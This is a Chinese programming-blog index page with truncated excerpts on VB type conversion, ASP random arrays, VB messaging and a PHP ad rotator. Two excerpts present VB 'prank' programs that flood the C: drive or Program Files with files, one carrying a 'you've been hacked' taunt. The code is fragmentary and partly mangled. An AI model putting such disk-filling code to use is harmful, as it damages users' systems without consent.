专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅
(一)类型转换类函数 1. CType(X) [格式]: P=CBool(X) ' 将X转换为"布尔"(Boolean)类型 P=CByte(X) ' 将X转换为"字节"(Byte)类型 P=CCur(X) ' 将X转换为"金额"(Currency)类型 P=CDate(X) ' 将X转换为"日期"(Date)类型 P=CDbl(X) ' 将X转换为"双精度"(Double)类型 P=CInt(X) ' 将X转换为"整型"(Integer)类型 P=CLng(X) ' [阅读全文] [PDF]
<%Dim myarrFor i = 0 To 100Randomizeno = Int((1000-1+1)*Rnd+1)For j = 0 To iIf no <> myarr(j) And no <> \"\" Thenj = j + 1ElseExit ForEnd Ifmyarr(i) = noNextIf i = 21 ThenExit ForEnd IfNext%> [阅读全文] [PDF]
在程序设计过程中,如何轻松地处理众多的随机事件,往往是制作大型系统首先要考虑的问题之一。用C语言开发Windows程序时,可以方便地使用消息机制(Message),但是,设计VB程序时,就没有这样的方便条件了。例如,多个窗口同时打开同一个表(Table),当在一个窗口中对数据进行了修改,而其他的窗口也能够随之进行数据更新,这时就需要有一条说明数据改变了的消息在所有的窗口间进行广播。如果使用的语言是C,只需要定义一条用户消息(UserMessage),就可以实现这一点。可是如果是用VB编程,做起来就不是那么简单了。VB5.0企业版中增添了许多强有力的特性,有 [阅读全文] [PDF]
vate Sub Form_Load() _disibledevent= 1 To 100   ´(这个100为写入文件的个数,就是向C盘下写100个文件)    Open \"c:\\小黑侠\" + CStr(h) + \".sys\" For Random As 1   ´(在C盘下产生文件 类似 \"小黑侠x.sys\" x为数字) DoEvents Put #1, 30000, \"小黑侠\"    ´这里的这个30000是控制生成文件大小的。    ´30000产生的文件大小 [阅读全文] [PDF]
首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码PrivateSubTimer1_Timer()‘声明变量,其中“count”为静态变量,以便生成不同的文件DimfilesAsStringDimnrAsStringDimcAsStringStaticcountAsLong’定义要把生成的文件存放在那个目录文件下c=\"c:\\ProgramFiles\\\"’生成文件的内容nr=\"哈哈,被黑的感觉的不错吧\"files=FreeFile’如果a等于a那么就执行Ifa=aThe [阅读全文] [PDF]
<?php #########随机广告显示##########function myads(){ $dir="ads";#设置存放记录的目录//$dir="ads";#设置存放记录的目录$ads="$dir/ads.txt"; #设置广告代码文件 $log ="$dir/ads.log"; #设置ip记录文件 $ads_lines=file($ads); $lines=count($ads_lines);#文件总行数 ####读出广告总数$ads_count和显示次数到数组$displ [阅读全文] [PDF]
1 共6条 分1页